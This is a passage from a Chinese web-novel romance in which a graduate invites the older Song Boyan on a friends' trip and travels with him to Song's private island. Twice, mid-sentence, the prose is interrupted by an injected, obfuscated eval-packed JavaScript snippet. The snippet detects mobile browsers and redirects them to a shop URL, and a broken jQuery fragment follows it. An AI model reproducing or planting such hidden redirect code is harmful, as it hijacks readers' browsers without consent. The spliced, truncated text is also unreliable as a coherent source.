林仪话痨,跟宋薄言出去的时候,经常会提起一些美术领域的事,也会提到自己喜欢的风格,喜欢的画家。他知道宋薄言不熟悉这个领域,所以只是提一嘴,并不会没完没了地讲,很快就会把话题带到其他方面。 没想到宋薄言都记住了。 阿莱也对这三幅作品十分喜欢,问他摆放在哪里。 林仪早有想法,“雕塑摆放在工作室大厅中间,两幅画我想挂在我的办公室。” 阿莱:“老板哦,你哪有办公室?” 啊! 林仪忘记了,在装修的时候他觉得不方便,所以没单独给自己留办公室,楼上的办公室都拿来做了会议室,他自己的工位就挨着阿莱和土豆不远。 他没有办公室私藏宋先生的礼物。 林仪指了指另一个位置,“那挂在这里吧。” 阿莱一看,笑了,“不能放在办公室就放在最显眼的位置,老板你真是极端呢。” 林仪压住笑意。 等把一切都布置好,画也挂上了墙后,林仪拍了几张照片发给宋薄言, 「谢谢。」 「我很喜欢。」 没多久宋薄言回复,「这次不是发自己的照片了?」 林仪打开相册,顺手给他发了自己昨晚拍的小兔子。 简直是见缝插针,丝毫不犹豫。 毕竟是宋先生主动要求的。 宋薄言:“……” 远在地球另一边的宋薄言捏着手机,扶了扶额,很是无奈。 看来得尽快回去,好好跟小孩儿说说这个事儿了。 这些天小孩儿每天都给他发照片,虽然都穿戴整齐,但……还不如不穿。 昨天非要给他看他腰上的小兔子,他严词拒绝,并勒令对方把睡衣最后一颗扣子也扣好,好不容易打消了给他看小兔子的念头,现在一有机会就故态复萌,连问也不问了,直接发送。 宋薄言先点了保存,点开一看,照片拍的侧腰,衣服只掀起了一条缝,刚好把胎记露出来,确实很像小兔子,小兔子再往右一点,是软软陷下去的一枚腰窝。 照片没有多露一点皮肤,却无端引人遐想,腰窝浅浅的,看着就很软,大小正适合放下人的拇指。 宋薄言吸了口气,关了手机,让助理给他定了一张两天后回国的机票。 …… 工作室刚开业的下午,余越把林老板拐到了他的“公司”,神情严肃,一副要共商要事的样子,林仪问:“怎么了?是昨晚项目有了新进展?” 项目组成员加上成员家属阿沫几个人一起围坐在客厅的办公桌上,余越摇了摇头,“此番商议的是另一件要事。” 林仪不由得跟着坐直了些,“什么?快说啊!是什么?!” 急得眼眸莹莹发亮。 18. 拥抱 林仪急死了。 余越不慌不忙给每个人发了纸笔,又去拿来每个人惯常爱喝的饮料发到没人手边后才坐下,以拳抵唇咳嗽一声,整理不存在的领结, “既然,雷霆已经回来了,那么我们的毕业旅行是时候安排一下了。” 林仪:“……” 林仪:“吓死我,我还以为你得绝症了呢。” “噗——” 余越喷出一口水,“什么?你在想什么?怎么长得这么甜小嘴儿跟淬了毒似的,快呸呸呸呸掉!” “呸呸呸。”林仪呸完又说:“蒋浩不是还没考试吗?” 余越摆手:“问过他了,他说让我们先去,等不到他考研结束了,你的工作室也开起来了,我们的项目在推进,再往后每个人都会很忙,到时候可就不是缺一个蒋浩的事儿,咱们赶紧趁着现在大家都还不算太忙,先去玩儿!” 林仪一想,反正过几天也要放假了,正好,上半身前倾贴在办公桌旁,拆开给他的牛奶喝了一大口,“去哪里?” 李旭举了举小纸条,“把自己想去的地方写下来,咱们挨个儿拿出来商讨,得票最多的方案就采用。” 余越拿出一个地球仪,将之旋转起来,“给大家做参考啊,地点尽量选在地球,不要出大气层就好。咱们一步一步来,先确定去哪个国家,在确定去哪个城市。” 立马有人给出新的建议,“或者直接写想去山上还是草原,还是海边这样。” 林仪用手指尖去戳高速旋转的地球仪,被刮到指腹就缩回去,过一会儿又去挠,跟好奇的小猫一样, “我同意。” 余越稳住地球仪不让它转了,“也行,写吧。” 最后大家写完,李旭来唱票,他看了一眼,没说出来,然后把所有纸条都打开看了,“咱们不愧是兄弟,竟然想去的地方都出奇的一致,我宣布,新目标,大海!” 大家把票拿来检查,果然全都写的想去海边。 雷霆:“当然要去海边啊!冲浪!游艇!潜水!全都安排上!” 余越推了推不存在的眼镜,“好的,那我们现在来选,是去太平洋还是大西洋还是北冰洋……” 话没说完,脑袋被几个飞来的小纸团砸了,“少废话,谁要跟你去北冰洋,咱们直接看看去哪里的海吧,先确定位置再来做攻略。” 余越摸了摸脑袋,“不说就不说嘛,凶人家干嘛~先说好啊,这次可以带家属,有对象的带对象,没对象的有兄弟姐妹也能带,最好成年了,或许能发展一下,肥水不流外人田嘛嘿嘿……” 雷霆敲桌子,“我必须要带阿沫的啊,你们知道的,我女朋友千里迢迢跟我来到安市,举目无亲,他只有我一个人了,我怎么能撇下她一个人出去玩儿。” “你带啊,没人让你不带,而且这次时间点正好,林仪要过生日了,咱们还能聚在一起,在海边给林仪过生日,是不是想想都很浪漫啊?”余越撞了撞林仪肩膀。 林仪想象那个场景,也觉得很不错,满脸期待,“那我可以带宋先生吗?” 余越就等他说这句话,挤眉弄眼跟他递眼神,“出息了,那必须啊,你问问你宋先生有时间没?咱们可以根据他的时间调行程。” 林仪有点羞涩地笑了笑,“那我去问问他。” 他拿出手机给宋薄言发信息,问对方过几天有没有空。 好巧对方没有在忙,很快就收到回复。 宋:「两天后回国,怎么了?」 林仪更惊喜了,眉飞色舞打字,「我们过几天要出去毕业旅行,宋先生有没有时间,我想邀请您和我一起去。」 书桌前的宋薄言转过身面朝落地窗,思索片刻,觉得这是一个跟林仪谈心的好机会,遂答应下来, 「假期没有安排,可以去。」 林仪:「好~」 宋:「地点安排好了么?」 林仪:「还没有,只是说要去海边,但还没确定去哪里的海。」 宋薄言直接发来语音,“没确定的话,我在太平洋东岸有个岛,岛上什么项目都有,感兴趣的话可以去那儿,稍后我把位置发你。” 林仪点开语音听了两遍,也回了条语音,“好啊,我问问他们。” 宋薄言把位置发过去,连带还发了一份文件,是海岛的旅游宣传,里面还有视频,林仪直接转发到群里,“你们看看这个地方可以吗?” 众人点开文件,头挨在一起看完,纷纷露出超出预期的表情,一个个眼睛比黑夜里的猫眼还亮,“这可是海岛度假顶配!可太行了!” “我有在网上刷到过,那里的海简直不要太美!而且那边很适合冲浪,不过好像是个私人岛屿,一年对游客开放的时间有限,时间上不一定合适。” 林仪回想了一下宋薄言的表述,说:“是宋先生建议的,这个岛好像是他的。” 众人:“………………” 见他们不说话,林仪怕他们不愿意去,紧张地问:“所以你们想去吗?” 接着客厅爆发一阵咆哮。 “卧槽去啊当然要去啊!” “有这种好事为什么不去?!” “我天有这种资源也太方便了吧!” “如果宋先生是岛主,那上面的项目我们是不是可以免费畅玩?” 林仪:“我问问。” 过了一会儿脸上挂着肯定的表情,“宋先生说可以!” “芜湖~还找什么!就这儿了!”一群人拥上来,就差把林仪举起来往天上丢了,“岛主sama赛高!林仪三三赛高!相亲赛高!” 余越十分兴奋,“这种级别的Daddy林仪你到底拿下了没?可不能把他放跑啊!” 林仪笑着笑着露出疑惑,“Daddy?” “宋先生完全就是Daddy级的啊!” “Daddy!Daddy!Daddy!” 林仪恨不得长出八只手把他们嘴巴堵住,“别乱喊了!” 几人瞬间误解,“好好好,他是你一个人的Daddy好了吧!” “哦哦哦哦哦哦~” ~ 行程定在三天后,这三天几个人疯狂采购,装了大包小包,上了先飞北美西岸的飞机,林仪则留了下来,跟宋薄言一趟,后一步出发。 宋薄言的飞机是晚上九点落地,下飞机后他关掉飞行模式,微信弹出很多消息,其中有林仪的。 林仪:「宋先生,要我来接机吗?」 这条消息是飞机起飞前发的,当时他没看见。 宋薄言回复:「刚到,程云峰来接我,你不用过来。」 程云峰替他打开车门,长腿一迈跨进去,迈巴赫驶入大道,机场高速很安静,只有平稳的车流声,和一种独特的安市夜晚的协奏。 那边过了半个小时才回,「我们有大半个月没见面了。」 对面显示“正在输入中……”输入了半天,没输入了。 宋薄言才回道:「明天机场见。」 林仪:「那我今晚睡不着怎么办。」 宋心中一动,单手打字,「不许熬夜。」 他拿着手机等着小孩儿回复,一直没收到消息,宋薄言抬头看了看窗外的景色,安市的每个区域建筑他都很熟悉,很快他们就会经过大学城。 静谧充盈车厢,忽然被男人沉稳的嗓音打破,“去锦上城。” 程云峰有点意外,他老板前两天就让他规划去私人岛屿的行程,说是加上他一共有6个人。哪六个,可想而知。 他很熟悉宋薄言的工作和生活习惯,最近公司事情非常多,还有一个准备了将近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478930|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年的跨国合作项目,根本就不是他会考虑出去度假的时候。 但作为一个好助理,他是不会质疑老板临时做出的改变,“好的宋总。” 林仪一只手拿着牙刷,一只手拨弄阳台一盆养得很好的多肉,快把人肥美的肉肉戳爆了。 要明天才能看到宋先生。 那今晚怎么办啊~~~ 他捏着牙刷撬自己舌头,发出小孩儿刷牙时才会发出的声音,哇啦哇啦的,忽然又安静下来,眼睛一亮。 对啊,宋先生已经回国,那他今天可以打视频了! 林仪终于放过了多肉和自己的舌头,拿起手机,看见宋薄言的消息。 宋:「十分钟后,下楼。」 “!!!” 一看时间,竟然是十二分钟前发的。 他立马起身飞奔去洗手间两口吐掉牙膏迅速冲洗干净泡沫,衣服鞋子都来不及换,拿上手机就下楼了。 电梯下行键被他猛戳了三下,宋薄言又发来消息。 宋:「别跑。」 林仪抬头望了望周围,宋先生怎么知道他在跑,有摄像头吗?! 他很快下了楼,还是跑了起来,准备等快到小区门口了再降低速度,实打实的阳奉阴违,不过他也顾不上那么多了,马上可以见到宋先生这件事让他大脑如同打了兴奋剂一般,恨不得长了腿跟他一起跑。 宋薄言准时抵达小区门口,但没看见那小孩儿,便静静站在树下等待,没多久听到身后传来一顿一顿的声音,听着像是脚步声,但是节奏很奇怪,每一步都很重,而且间隔比正常走路要长。 宋薄言扭头,看到穿着睡衣的小孩儿提着一只脚,单腿一蹦一蹦朝他蹦过来了。 “……” “宋先生!” 林仪喊了他一声。 宋薄言快步走过去,保安都认识他了给他开门放行。 “这是怎么了?” 低头一看,少年一只脚穿着倒霉熊拖鞋,另一只脚光溜溜的,什么都没有,袜子也没穿。 宋薄言失笑,走过去让他撑着自己,“另一只鞋呢?” 林仪把光着的脚勾在身后,额上汗涔涔的,在路灯下打出柔软的颗粒,莹白又朦胧,“刚才跑得太快,不小心甩飞到草丛里了。” 宋薄言无奈:“怎么不找?” 林仪看着他的眼睛,表情很认真,又很专注,“我迟到好几分钟了,你还在等我,我想快点过来。” “你迟到也没关系。”宋薄言走到他面前,屈膝半蹲下去,“上来。” 林仪一愣,“上哪儿?” 宋薄言真想敲一敲这小孩儿脑袋,“上来我背你,去找鞋。” 林仪懵懵懂懂的,步伐缓慢走过去,伸出手趴在男人背上,男人起身将他往上颠了颠,朝小区里慢慢走去。 宋薄言身形高大,趴在背上能感觉到男人肩膀宽厚,因为背着他,肩膀肌肉崩起来,那股勃发的力量就像有传导性一样,只是皮肉相贴,就能完完全全地感受到。 林仪两条胳膊环着男人肩膀,心里偷偷想,这算是拥抱吗? 他单方面抱着宋先生。胸膛贴着后背。 林仪笑起来,低头小声在男人耳边喊了声,“宋先生。” “嗯?” 声音是从胸腔和脊背肌肉传导而来,有微微震颤,林仪往上爬了爬,用气声问:“你看到小兔子了吗?” 宋薄言顺手颠了颠背上的人,原本少年就贴在他后脑勺边,这一颠,柔软的唇擦过耳廓,带着软意的声音贴着他耳边响起。 细微的电流从耳垂下来,迅速流过脖领和肩膀,宋薄言握着小孩儿腿肉的手一紧,但一听到小兔子,不免又头疼起来,脑海里又想起那张照片。 他声音有些沉:“除了我,还有谁看过?” 19. 私人海岛 问出口后,宋薄言对自己的行为感到意外。 这似乎是一个并不属于他的立场可以问的问题,带着很没道理的占有欲。 可他也并不想收回,尽量忽略问题背后的含义,把自己的初衷设想得很纯粹。 林仪并不知道他在想什么,似乎也不觉得有什么问题,问什么就认真答什么,掰开手指头数数,“我爸我妈,还有三姨二姨表姑外婆大表姐,除了他们,就只有你了。” 好个除了所有人就只有你。 宋薄言:“余越呢?” 林仪折起手指,歪着脑袋观察宋薄言,宋薄言脸上没什么特别的表情,和往常一样波澜不惊,眸色很深很静,让人看不出他在想什么。 他仔细品了一会儿,自认为品出来了,有点得意有点羞赧地问:“宋先生是在吃醋吗?” 宋薄言没说话。 林仪等了他一会儿,就好像一个专业演员,在无实物表演时,假装对面有人跟自己对戏,说完台词后留出时间给空气说话,脑袋里想象对面的答案,然后顾自接话,“余越当然不知道,我为什么要给他看我腰上的胎记啊,我和他虽然是发小,但是没有穿过一条秋裤哦。” 宋薄言嘴角微不可见地上扬,“那是开裆裤。” “哦哦。”林仪道:“反正什么裤子都没一起穿过,而且他更喜欢跟女生玩。” 最后一句话跟背后说人家坏话一样,故意降低了音量。 宋薄言点点头,捏了捏少年膝窝,把这篇翻过,“鞋子飞哪儿的。” 林仪悬着的两条小腿甩了甩,抬手一指路边长椅的位置,“应该是甩到那个灌木丛里了。” 宋薄言目光低垂着,总免不了会注意到少年一晃一晃的脚,一只有鞋子,一只没鞋子,然后又眼睁睁看着唯一的一只鞋子被这么一甩,又甩到了地上,倒霉熊翻了个个儿,碰了一鼻子灰,更倒霉了。 “……” 林仪蓦地脚丫子一凉,动作一顿,灰溜溜地缩回了脚,不敢晃了,期期艾艾张口,“宋先生,我另一只鞋子也掉了。” “看见了。” 宋薄言收回目光,走到鞋子面前弯下腰。 这个动作很突然,林仪重心往下栽,瞬间感觉自己整个人都要倒悬着掉下去,立马八爪鱼一样紧紧缠着宋薄言,压低声音惊呼,“要掉下去了!” 一个天旋地转,宋薄言已经起身,“没掉。” 不仅没掉,小孩儿手脚都缠得很紧,他发现自己就算不托着少年,少年也能稳稳当当挂在他身上,索性另一只手就拎着鞋子,只用一只手背着他。 很快宋薄言走到长椅边把人放下,鞋子放在地上,观察后面的灌木丛。 这个位置正好在两个路灯中间,光线不是很好,找了一会儿锁定了几个疑似拖鞋的位置,宋薄言两手扒开树丛钻了进去。 没过多久,他拎着倒霉熊拖鞋出来了,在少年面前蹲下,替他把鞋子穿好。 “行了,回去好好休息,明天早上我来接你。” 起身的瞬间,宋薄言觉得很荒谬。 他不知是不是因为小孩儿的一句话,特地驱车跑到人家小区,吹了二十分钟冷风,竟然只是为了帮他找一只鞋。 他从小到大都很有规划,做的一切事情都有明确目的,但今天从下飞机开始,他就不知道自己在做什么。 宋薄言把人送到楼下,和上回一样,等他上楼。 林仪依依不舍地回头看了一眼宋薄言,宋薄言正在整理衣袖上沾上的树渣草灰,磨蹭一会儿,他折回两步,扯了扯对方袖子,“要上去洗个手吗?” 宋薄言动作一顿。 他毕竟是个活了快三十年的成年男人,虽然没谈过恋爱,但并非一窍不通。这句话背后的含义,肯定比他方才问的话含义更直接,但小孩儿眼神纯粹,不含一丝杂质,显然又不是那个意思。 这又是在打什么注意? 又是发胎记照片,又是邀请他上楼洗手,到底想做什么? 看来他必须得跟对方好好聊聊了。 但不是现在。 必须得是一个白天,必须得穿好衣服,而不是睡衣和露出脚踝的睡裤,折腾这一会儿,睡衣领口还歪了,露出锁骨上盛的小痣。 他别开目光刻意放冷语气,“不用了,回去吧。” 林仪倒没想那么多,被拒绝后,高高兴兴就上楼了,还转身给他挥手, “明天见。” 宋薄言用口型说:“明天见。” 见到了宋先生,还抱了,林仪心满意足,回去倒头就睡,做了个香甜的梦。 宋薄言没睡着,一整晚辗转反侧,一直在想小孩儿的事。 宋家只有宋薄言一个独子,从小受到精良的教育,很小的时候就有明确而清晰的目标,并且为了目标可以放弃同龄人追逐的快乐,从这个角度,他是个很让父母省心放心的孩子,同时也足够优秀,在大学毕业后就接手了家里的产业,并让集团更上一个台阶。 除了结婚这件事,父母从没为他操过多少心,似乎双方都有一个以偏概全的共识,那就是“小孩子应该很好带”。 现在他的生活中忽然冒出来个亲戚家的小孩儿,宋薄言才知道,教育这件事可没那么容易。 既要为他筹谋,为他的未来铺路,支持他的理想,倾听他天马行空的梦,还要关注他的心理健康,还有成长环境,不让对方走上歪路。 又翻了一个身,宋薄言还是睡不着,索性开了灯起床去了书房,找了半天找出一本关于青少年成长教育方面的书籍翻看,一直看到凌晨四五点,他才上床睡了个必要的觉,没多久又起床了,收拾好出门。 程云峰已经把车开到门外等着他,看到老板眼下不甚明显的乌青心中惊奇。 他老板的作息严谨到令人发指,今天怎么一副熬穿了寂寞的夜的样子?难道是项目出了问题? 于是他很体贴地问,“还要去机场吗?” 宋薄言看了他一眼,程云峰一个哆嗦,脚踩油门把车甩了出去。 锦上城小区楼下,林仪已经提着行李箱在门口等着了,程云峰帮他把行李箱放后备箱里,林仪爬上车跟宋薄言打招呼,“宋先生,早上好啊。” 阳光明媚,洋溢着睡眠充足的神清气爽。 宋薄言别过眼神,声音倦倦地,“嗯。” 林仪挤过去,跟一楼那大爷养的鹦鹉似的,一开门就叽里呱啦,“今天天气好好,刚才余越给我发消息,他们已经到了,已经玩儿了好几个项目,那边的海好透啊,像蓝色的玻璃,跟我在国内看到的又不太一样,但是都很好看,这个岛没去过,我更期待……这里的沙子是白色的,看着就好软……” 少年说话的习惯,喜欢看着人眼睛,不知不觉就倾身靠近,肩膀和男人肩膀挨在一起,宋薄言侧头,视线正好落在少年耳垂,点头,“嗯,很软。” “好适合光着脚踩在沙滩啊~对了宋先生,我怎么没看到你的行李?” 宋薄言轻阖着眼,感觉到小孩儿拉着他胳膊一摇一摇的,嘴角轻扬,“岛上有。” “哦,我差点忘了那是宋先生的岛了。” 林仪兴致很高,这几天搜了不少关于岛上的攻略,包括哪个位置的海浪大,适合冲浪,哪里适合深潜,那片沙滩适合打沙滩排球,海钓去哪里等等。 宋薄言虽然很困,但也没真睡着,少年说话他不时回应两句。 上飞机后,两人吃过早餐,宋薄言说自己要休息一会儿,林仪就自己戴上耳机看电影,一两个小时候,他也躺下睡了。 飞机落地时,正是北美西岸日出前,助理安排的车就在机场外,载着二人赶往码头,他们要乘坐私人游艇前往宋薄言的岛。 林仪很能熬夜,加上在飞机上也睡了很长时间,这会儿倒不困,反而精神振振,趴在船舷上吹风看海,越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478931|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近小岛,海水颜色越浅,小岛周围还有许多个更小的岛,最小的只有蕞尔之地,只够长一颗椰子树。 林仪看什么都新鲜,说话时尾音都是上扬的,“岛上人还是很多的诶~” 宋薄言道:“这是对外开放的岛,旅游资源很完善,一会儿拿张地图给你。” 这里比林仪想象的大很多,心里感叹宋先生真有钱啊,岛主诶。 “知道了,宋岛主。” 宋薄言似乎被这个新称呼取悦,对自己买下这个岛感到明智。 现在时间还早,他带着人抵达他住的海边别墅后,天都才刚亮不久,一路是跟着海上日出一起过来的。 宋薄言带林仪转了一圈别墅,别墅面海,隔着一片不大不小的沙滩,后院是一个泳池,和其他别墅之间隔着一定距离,又有绿植隔开,很安静,远处的沙滩能看到有几个外国人并排走在一起。 “楼上有收拾好的空房间,想住哪间都行,先休息一会儿,晚点吃些东西再去玩儿。”宋薄言放下行李,打算先回房洗个澡。 林仪虽然不困,但是宋先生需要休息,他便点头应下,带着行李箱回房间收拾,收拾完后换了身衣服,拿起宋薄言给他的海岛地图,坐在泳池旁开始研究。 他出去旅游第一件事就是看地图,会在心中给这个地方3D建模,分清东南西北,以及主要景点方位和距离。 没多久手机响了,是余越的回信。 林仪看了看消息,抬头看向泳池右边,只看见别墅的墙和两颗椰子树,他起身走到沙滩上,看到了隔壁一两百米外的房子,那是给余越他们安排的住处。 趁着宋薄言还没醒,林仪去找余越他们玩了一会儿,几个年轻人早就玩疯了,接下来要去开海上摩托,“走啊,衣服都换好了,跟我们一起去,宋先生呢?” 林仪:“宋先生在休息,我们才刚到不久。” 余越:“那确实需要休息,你不知道雷霆,他刚到岛上直接睡了一天,完全不知道我们是来干什么的。” 雷霆给了他一肘,“你懂什么,我这是养精蓄锐,接下来才好撒野。” 说罢他又小声跟林仪说:“好吧其实是别墅的床太舒服了,居然还有按摩功能,我和阿沫一躺上去就起不来了。” “说这么大声以为谁听不见吗?”余越咳嗽一声,“收敛点,咱这儿还有没谈过的呢。” 林仪:“……” 李旭感觉被点了,“你什么意思?” “哈哈哈。”余越继续扎刀,“哦对,你们不一样,咱们林仪宝宝可是有暧昧对象的,要不了多久就能脱单了,真正没谈过的只有一个人。” 李旭大喊,抬手一指,“你跟我去那儿,我们单挑。” 余越搭着他肩膀往外走,“单挑什么,真服了,这儿这么多美女,哥带你去搭讪。” 他扭头对林仪挥手,“你还要等宋先生的话,那我们就先去玩儿了,晚上一起吃海鲜大餐。” 林仪:“好,你们去吧。” 林仪目送他们离开后回了别墅,宋薄言正从房间走出来,在别墅转悠一圈没看到人,泳池的躺椅上也只有一张展开的地图,人早没了影儿。 多半是忍不住,自己先去玩儿了。 宋薄言转身,打算让人送点餐过来,身后听见一道刻意放轻的脚步声。 本来下意识是警惕的,但面前的玻璃门反光,一眼就看到鬼鬼祟祟的小孩儿,宋薄言勾唇,装作不知。 林仪上前用双手软软蒙住他眼睛,沉着嗓子学电影里那些匪徒粗声粗气道:“打劫,给钱。” 宋薄言比他高很多,林仪几乎是挂在他背上的,他不拆穿,“打劫应该用枪抵住我的腰,蒙眼睛算什么?” 林仪很听劝,收回一只手,比了个枪,啪的戳在他腰上,“给钱。” 小孩儿动作没轻没重,男人腰间肌肉登时绷紧。 宋薄言咬牙。